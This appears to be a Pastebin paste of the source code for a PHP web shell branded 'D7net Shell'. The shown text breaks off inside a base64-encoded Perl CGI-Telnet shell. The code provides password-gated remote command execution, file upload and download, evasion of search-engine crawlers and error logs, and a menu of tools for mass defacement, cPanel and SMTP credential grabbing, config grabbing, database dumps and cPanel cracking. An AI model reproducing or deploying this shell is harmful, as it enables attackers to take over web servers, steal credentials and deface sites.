SHARE
TWEET

Paw

a guest Apr 27th, 2018 372 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /* (Sh3ll By D7net  |default pass:" d7net ") */
  3. $auth_pass = "9bf6939f48b06e09f5d63e0a0900f667";
  4. session_start();
  5. error_reporting(0);
  6. set_time_limit(0);
  7. @set_magic_quotes_runtime(0);
  8. @clearstatcache();
  9. @ini_set('error_log',NULL);
  10. @ini_set('log_errors',0);
  11. @ini_set('max_execution_time',0);
  12. @ini_set('output_buffering',0);
  13. @ini_set('display_errors', 0);
  14.  
  15.  
  16. $color = "#00ff00";
  17. $default_action = 'FilesMan';
  18. $default_use_ajax = true;
  19. $default_charset = 'UTF-8';
  20. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  21.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  22.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  23.         header('HTTP/1.0 404 Not Found');
  24.         exit;
  25.     }
  26. }
  27.  
  28. function login_shell() {
  29. ?>
  30. <html>
  31. <body>
  32. <head>
  33. <title>Login D7net</title>
  34. <link href='https://thecryptoshow.com/wp-content/uploads/2017/11/fatcom-1.ico' rel='icon'
  35.  
  36. type='image/x-icon'/>
  37. </header><center>
  38. <table style="border:1px;border-color:red;border-style:double;padding-left:2px;padding-
  39.  
  40. right:2px;bottom:2px;height:25px;width:17%;">
  41. <tr>
  42. <td style="border: 1px;width:5%; background: transparent;box-shadow: 0px 0px 8px red;
  43. bottom: 2px; border-color:red; border-style: dotted";>
  44. <center>
  45. <style>
  46. <style type='text/css'>
  47. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  48. html {
  49.     background: #000000;
  50.     color: #FF0000;
  51.     font-family: 'Ubuntu';
  52.     font-size: 13px;
  53.     width: 100%;
  54. }
  55. li {
  56.     display: inline;
  57.     margin: 5px;
  58.     padding: 5px;
  59. }
  60. table, th, td {
  61.     border-collapse:collapse;
  62.     font-family: Tahoma, Geneva, sans-serif;
  63.     background: transparent;
  64.     font-family: 'Ubuntu';
  65.     font-size: 13px;
  66. }
  67. .table_home, .th_home, .td_home {
  68.     border: 1px solid #FF0000;
  69. }
  70. input[type=text], input[type=password],input[type=submit] {
  71.     background: transparent;
  72.     color: #FF0000;
  73.     border: 1px solid #FF0000;
  74.     margin: 5px auto;
  75.     padding-left: 5px;
  76.     font-family: 'Ubuntu';
  77.     font-size: 13px;
  78.  
  79. </style>
  80. <img border="0" data-original-height="1280" data-original-width="1280" height="320" src="https://3.bp.blogspot.com/-qfeAr7jKSK0/WsNmPE0HlPI/AAAAAAAAAYA/Y0tgaQ8Mlso_SD78ymIBXCB7T1O_Nh6-QCPcBGAYYCw/s320/d704.png" width="320"/><br></table></td>
  81. <div align=center >
  82. <fieldset style="border: 1px solid rgb(69, 69, 69); padding:
  83.  
  84. 4px;width:450px;bgcolor:grey;align:center;font-family:tahoma;font-size:10pt"><legend><font
  85.  
  86. color=red><B>Login</b></font></legend><legend>
  87. <div>
  88. <form method="post">
  89. <font face ='papyrus' size='3' color='red'>Password :
  90. <input type="password" name="pass">
  91.     <input type="submit" value="Login">
  92. </form></fieldset>
  93. <?php
  94. exit;
  95. }
  96. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  97.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  98.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  99.     else
  100.         login_shell();
  101. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  102.     @ob_clean();
  103.     $file = $_GET['file'];
  104.     header('Content-Description: File Transfer');
  105.     header('Content-Type: application/octet-stream');
  106.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  107.     header('Expires: 0');
  108.     header('Cache-Control: must-revalidate');
  109.     header('Pragma: public');
  110.     header('Content-Length: ' . filesize($file));
  111.     readfile($file);
  112.     exit;
  113. }
  114. ?>
  115.  
  116. <html>
  117. <head>
  118. <title> . : : D7net Shell : : . </title>
  119. <meta name='author' content='D7net'>
  120. <meta charset="UTF-8">
  121. <center>
  122. <img style="position: fixed; top:0; right:2; z-index:100;" height="200" src="https://3.bp.blogspot.com/-qfeAr7jKSK0/WsNmPE0HlPI/AAAAAAAAAYA/Y0tgaQ8Mlso_SD78ymIBXCB7T1O_Nh6-QCPcBGAYYCw/s320/d704.png" width="200"/>
  123. <span style='color: red;'>[ D7net <font style='color: yellow;'>SheLL ]</font><br>
  124. <style type='text/css'>
  125. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  126. html {
  127.     background: #000000;
  128.     color: #fb2021;
  129.     font-family: 'comic sans ms';
  130.     font-size: 13px;
  131.     width: 100%;
  132. }
  133.  
  134. table, th, td {
  135.     background:#000000;
  136.     border-bottom:1px solid #FF0000;
  137.     border-left:1px solid #FF0000;
  138.     border-top:1px solid #FF0000;
  139.     border-right:1px solid #FF0000;
  140. font-weight:normal;
  141. }
  142. .table_home, .th_home, .td_home {
  143.     text-align:left;
  144.     margin:0 4px 0 0;
  145.     padding:0 4px 0 0;
  146. }
  147. th {
  148.     background:#f6f209;
  149.     border-bottom:1px solid #333333;
  150. font-weight:normal;
  151. }
  152. a {
  153.     color: #ff0000;
  154.     text-decoration: none;
  155. }
  156. a:hover {
  157.     color: blue;
  158.     text-decoration: italic;
  159. }
  160. b {
  161.     color: gold;
  162. }
  163. input[type=text], input[type=password],input[type=submit] {
  164.     background: transparent;
  165.     color: #ffffff;
  166.     border: 2px solid #ff0000;
  167.     margin: 5px auto;
  168.     padding-left: 5px;
  169.     font-family: 'Ubuntu';
  170.     font-size: 13px;
  171. }
  172. textarea {
  173.     width: 100%;
  174.     height: 400px;
  175.     border: 2px #000000 solid;
  176.     -moz-border-radius: 5px;
  177.     -webkit-border-radius:5px;
  178.     border-radius:5px;
  179.     border-bottom:3px solid #FF0000;
  180.     border-left:3px solid #FF0000;
  181.     border-top:3px solid #FF0000;
  182.     border-right:3px solid #FF0000;
  183. }
  184. .d7net_table {
  185.     -moz-box-shadow:inset 0px 34px 0px -15px #1a1717;
  186.     -webkit-box-shadow:inset 0px 34px 0px -15px #1a1717;
  187.     box-shadow:inset 0px 34px 0px -15px #1a1717;
  188.     background-color:#000000;
  189.     border:1px solid #ff0000;
  190.     display:inline-block;
  191.     cursor:pointer;
  192.     color:#ff0505;
  193.     font-family:comis sans ms;
  194.     font-size:17px;
  195.     font-weight:bold;
  196.     padding:5px 14px;
  197.     text-decoration:none;
  198.     text-shadow:0px -1px 0px #ff0505;
  199. }
  200. .d7net_table:hover {
  201.     background-color:#8f1b0b;
  202. }
  203. .d7net_table:active {
  204.     position:relative;
  205.     top:1px;
  206. }
  207. #content td:hover{
  208. background-color: #8f1b0b;
  209. text-shadow:2px 2px 10px #ffffff;
  210. }
  211. .bgd7net {width:1250px;height:15;background-color:#FF0000;
  212. filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0, startColorstr='#FF0000', endColorstr='#FF0000');
  213. background-image:-webkit-linear-gradient(top, #FF0000 0%, #061cf3 50%, #000000 100%);
  214. background-image:-moz-linear-gradient(top, #FF0000 0%, #000000 50%, #000000  100%);
  215. background-image:-ms-linear-gradient(top, #000000 0%, #061cf3%, #000000  100%);
  216. background-image:-o-linear-gradient(top, #000000 0%, #061cf3%, #000000  100%);
  217.   background-image:linear-gradient(top, #000000 0%, #061cf3%, #000000  100%);
  218. }
  219.  
  220. </style>
  221. <?php
  222. function w($dir,$perm) {
  223.     if(!is_writable($dir)) {
  224.         return "<font color=red>".$perm."</font>";
  225.     } else {
  226.         return "<font color=yellow>".$perm."</font>";
  227.     }
  228. }
  229. function exe($cmd) {    
  230. if(function_exists('system')) {        
  231.         @ob_start();       
  232.         @system($cmd);     
  233.         $buff = @ob_get_contents();        
  234.         @ob_end_clean();       
  235.         return $buff;  
  236.     } elseif(function_exists('exec')) {        
  237.         @exec($cmd,$results);      
  238.         $buff = "";        
  239.         foreach($results as $result) {         
  240.             $buff .= $result;      
  241.         } return $buff;    
  242.     } elseif(function_exists('passthru')) {        
  243.         @ob_start();       
  244.         @passthru($cmd);       
  245.         $buff = @ob_get_contents();        
  246.         @ob_end_clean();       
  247.         return $buff;  
  248.     } elseif(function_exists('shell_exec')) {      
  249.         $buff = @shell_exec($cmd);     
  250.         return $buff;  
  251.     }
  252. }
  253. function perms($file){
  254. $perms = fileperms($file);
  255. if (($perms & 0xC000) == 0xC000) {
  256. // Socket
  257. $info = 's';
  258. } elseif (($perms & 0xA000) == 0xA000) {
  259. // Symbolic Link
  260. $info = 'l';
  261. } elseif (($perms & 0x8000) == 0x8000) {
  262. // Regular
  263. $info = '-';
  264. } elseif (($perms & 0x6000) == 0x6000) {
  265. // Block special
  266. $info = 'b';
  267. } elseif (($perms & 0x4000) == 0x4000) {
  268. // Directory
  269. $info = 'd';
  270. } elseif (($perms & 0x2000) == 0x2000) {
  271. // Character special
  272. $info = 'c';
  273. } elseif (($perms & 0x1000) == 0x1000) {
  274. // FIFO pipe
  275. $info = 'p';
  276. } else {
  277. // Unknown
  278. $info = 'u';
  279. }
  280.     // Owner
  281. $info .= (($perms & 0x0100) ? 'r' : '-');
  282. $info .= (($perms & 0x0080) ? 'w' : '-');
  283. $info .= (($perms & 0x0040) ?
  284. (($perms & 0x0800) ? 's' : 'x' ) :
  285. (($perms & 0x0800) ? 'S' : '-'));
  286. // Group
  287. $info .= (($perms & 0x0020) ? 'r' : '-');
  288. $info .= (($perms & 0x0010) ? 'w' : '-');
  289. $info .= (($perms & 0x0008) ?
  290. (($perms & 0x0400) ? 's' : 'x' ) :
  291. (($perms & 0x0400) ? 'S' : '-'));
  292. // World
  293. $info .= (($perms & 0x0004) ? 'r' : '-');
  294. $info .= (($perms & 0x0002) ? 'w' : '-');
  295. $info .= (($perms & 0x0001) ?
  296. (($perms & 0x0200) ? 't' : 'x' ) :
  297. (($perms & 0x0200) ? 'T' : '-'));
  298. return $info;
  299. }
  300. function hdd($s) {
  301. if($s >= 1073741824)
  302. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  303. elseif($s >= 1048576)
  304. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  305. elseif($s >= 1024)
  306. return sprintf('%1.2f',$s / 1024 ) .' KB';
  307. else
  308. return $s .' B';
  309. }
  310. function ambilKata($param, $kata1, $kata2){
  311.     if(strpos($param, $kata1) === FALSE) return FALSE;
  312.     if(strpos($param, $kata2) === FALSE) return FALSE;
  313.     $start = strpos($param, $kata1) + strlen($kata1);
  314.     $end = strpos($param, $kata2, $start);
  315.     $return = substr($param, $start, $end - $start);
  316.     return $return;
  317. }
  318. if(get_magic_quotes_gpc()) {
  319.     function idx_ss($array) {
  320.         return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  321.     }
  322.     $_POST = idx_ss($_POST);
  323. }
  324.  
  325. error_reporting(0);
  326. error_log(0);
  327. @ini_set('error_log',NULL);
  328. @ini_set('log_errors',0);
  329. @ini_set('max_execution_time',0);
  330. @set_time_limit(0);
  331. @set_magic_quotes_runtime(0);
  332. if(isset($_GET['dir'])) {
  333.     $dir = $_GET['dir'];
  334.     chdir($_GET['dir']);
  335. } else {
  336.     $dir = getcwd();
  337. }
  338. $dir = str_replace("\\","/",$dir);
  339. $scdir = explode("/", $dir);
  340. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=yellow>OFF</font>";
  341. $ds = @ini_get("disable_functions");
  342. $mysql = (function_exists('mysql_connect')) ? "<font color=yellow>ON</font>" : "<font color=red>OFF</font>";
  343. $curl = (function_exists('curl_version')) ? "<font color=yellow>ON</font>" : "<font color=red>OFF</font>";
  344. $wget = (exe('wget --help')) ? "<font color=yellow>ON</font>" : "<font color=red>OFF</font>";
  345. $perl = (exe('perl --help')) ? "<font color=yellow>ON</font>" : "<font color=red>OFF</font>";
  346. $python = (exe('python --help')) ? "<font color=yellow>ON</font>" : "<font color=red>OFF</font>";
  347. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=yellow>NONE</font>";
  348. if(!function_exists('posix_getegid')) {
  349.     $user = @get_current_user();
  350.     $uid = @getmyuid();
  351.     $gid = @getmygid();
  352.     $group = "?";
  353. } else {
  354.     $uid = @posix_getpwuid(posix_geteuid());
  355.     $gid = @posix_getgrgid(posix_getegid());
  356.     $user = $uid['name'];
  357.     $uid = $uid['uid'];
  358.     $group = $gid['name'];
  359.     $gid = $gid['gid'];
  360. }
  361. echo "User: <font color=yellow>".$user."</font> (".$uid.") Group: <font color=yellow>".$group."</font> (".$gid.")<br>";
  362. echo "HDD: <font color=yellow>".hdd(disk_free_space("/"))."</font> / <font color=yellow>".hdd(disk_total_space("/"))."</font><br>";
  363. echo "Safe Mode: $sm<br>";
  364. echo "Disable Functions: $show_ds<br>";
  365. echo "Server IP: <font color=yellow>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=yellow>".$_SERVER['REMOTE_ADDR']."</font><br>";
  366. echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
  367. echo "<font color=yellow>".php_uname()."</font><br>";
  368. echo " <a class='d7net_table' href='?dir=$dir&D7net=removeshell'>Delete Shell</a> ";
  369. echo "<div class='bgd7net'><br>";
  370. echo "<center>";
  371. echo "<ul>";
  372. echo " <a class='d7net_table' href='?'>Home</a> ";
  373. echo " <a class='d7net_table' href='?dir=$dir&D7net=jumping'>Jumping</a> ";
  374. echo " <a class='d7net_table' href='?dir=$dir&D7net=mass_deface'>Mass Deface</a> ";
  375. echo " <a class='d7net_table' href='?dir=$dir&D7net=cgi'>CGI Perl</a> ";
  376. echo " <a class='d7net_table' href='?dir=$dir&D7net=cpanel'>Cpanel Grab</a> ";
  377. echo " <a class='d7net_table' href='?dir=$dir&D7net=csrfexploit'>CSRF Exploiter</a>";
  378. echo " <a class='d7net_table' href='?dir=$dir&D7net=smtp'>SMTP Grabber</a><br><br> ";
  379. echo " <a class='d7net_table' href='?dir=$dir&D7net=zoneh'>Zone-H</a> ";
  380. echo " <a class='d7net_table' href='?dir=$dir&D7net=krdpshell'>K-RDP Shell</a> ";
  381. echo " <a class='d7net_table' href='?dir=$dir&D7net=vhosts'>Bypass vhost</a> ";
  382. echo " <a class='d7net_table' href='?dir=$dir&D7net=adminer'>Adminer</a> ";
  383. echo " <a class='d7net_table' href='?dir=$dir&D7net=whmcs'>whmcs decoder</a> ";
  384. echo " <a class='d7net_table' href='?dir=$dir&D7net=auto_dwp'>WordPress Auto Deface</a> ";
  385. echo " <a class='d7net_table' href='?dir=$dir&D7net=encode'>Encode/Decode</a><br><br> ";
  386. echo " <a class='d7net_table' href='?dir=$dir&D7net=symlink'>Symlink</a> ";
  387. echo " <a class='d7net_table' href='?dir=$dir&D7net=python'>Symlink Python</a> ";
  388. echo " <a class='d7net_table' href='?dir=$dir&D7net=magento'>Log Hunter</a> ";
  389. echo " <a class='d7net_table' href='?dir=$dir&D7net=auto_wp'>Auto Edit title Wordpress</a> ";
  390. echo " <a class='d7net_table' href='?dir=$dir&D7net=passwbypass'>Bypass etc/passwd</a> ";
  391. echo " <a class='d7net_table' href='?dir=$dir&D7net=zip'>Zip Menu</a>";
  392. echo " <a class='d7net_table' href='?dir=$dir&D7net=dbdump'>Database Dump</a><br><br>";
  393. echo " <a class='d7net_table' href='?dir=$dir&D7net=auto_edit_user'>Auto Edit User</a>";
  394. echo " <a class='d7net_table' href='?dir=$dir&D7net=cpanelcrck'>Cpanel Crack</a>";
  395. echo " <a class='d7net_table' href='?dir=$dir&D7net=configfuck'>Config Fucker V.2</a> ";
  396. echo " <a class='d7net_table' href='?dir=$dir&D7net=grabconfig'>Grab Config</a> ";
  397. echo " <a class='d7net_table' href='?dir=$dir&D7net=contact'>Contact</a> ";
  398. echo " <a class='d7net_table' href='?dir=$dir&D7net=about'>About</a> ";
  399. echo " <a class='d7net_table' href='?dir=$dir&D7net=keluar'>Log-Out</a> ";
  400. echo "</ul>";
  401. echo "</center>";
  402. if($_POST['upload']) {
  403.         if($_POST['tipe_upload'] == 'biasa') {
  404.             if(@copy($_FILES['ix_file']['tmp_name'], "$path/".$_FILES['ix_file']['name']."")) {
  405.                 $act = "<font color=green>Uploaded!</font> at <i><b>$path/".$_FILES['ix_file']['name']."</b></i>";
  406.             } else {
  407.                 $act = "<font color=red>Failed to upload file</font>";
  408.             }
  409.         } else {
  410.             $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  411.             $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  412.             if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  413.                 if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  414.                     $act = "<font color=green>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  415.                 } else {
  416.                     $act = "<font color=red>Failed to upload file</font>";
  417.                 }
  418.             } else {
  419.                 $act = "<font color=red>Failed to upload file</font>";
  420.             }
  421.         }
  422.     }
  423.     echo "<center>
  424.     <form method='post' enctype='multipart/form-data'>
  425.     <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($path,"Writeable")." ]
  426.     <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  427.     <input type='file' name='ix_file'>
  428.     <input type='submit' value='upload' name='upload'>
  429.     </form></center>";
  430.     echo "<center>".$act."</center>";
  431. echo "<div class='bgd7net'><br>DIR: ";
  432. foreach($scdir as $c_dir => $cdir) {   
  433.     echo "<a href='?dir=";
  434.     for($i = 0; $i <= $c_dir; $i++) {
  435.         echo $scdir[$i];
  436.         if($i != $c_dir) {
  437.         echo "/";
  438.         }
  439.     }
  440.     echo "'>$cdir</a>/";
  441. }
  442. echo "<br><br>";
  443. if($_GET['D7net'] == 'keluar') {
  444.    
  445. echo '<form action="?dir=$dir&do=metu" method="post">';
  446.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  447.     echo 'Logout done!!';
  448. } elseif($_GET['D7net'] == 'cgi') {
  449.     $cgi_dir = mkdir('d7net_cgi', 0755);
  450.         chdir('d7net_cgi');
  451.     $file_cgi = "cgi.d7net";
  452.         $memeg = ".htaccess";
  453.     $isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .con7ext \n AddHandler cgi-script .con7ext \n AddHandler cgi-script .d7net";
  454.     $htcgi = fopen(".htaccess", "w");
  455.     $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJ4YWlzeW5kaWNhdGUiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtek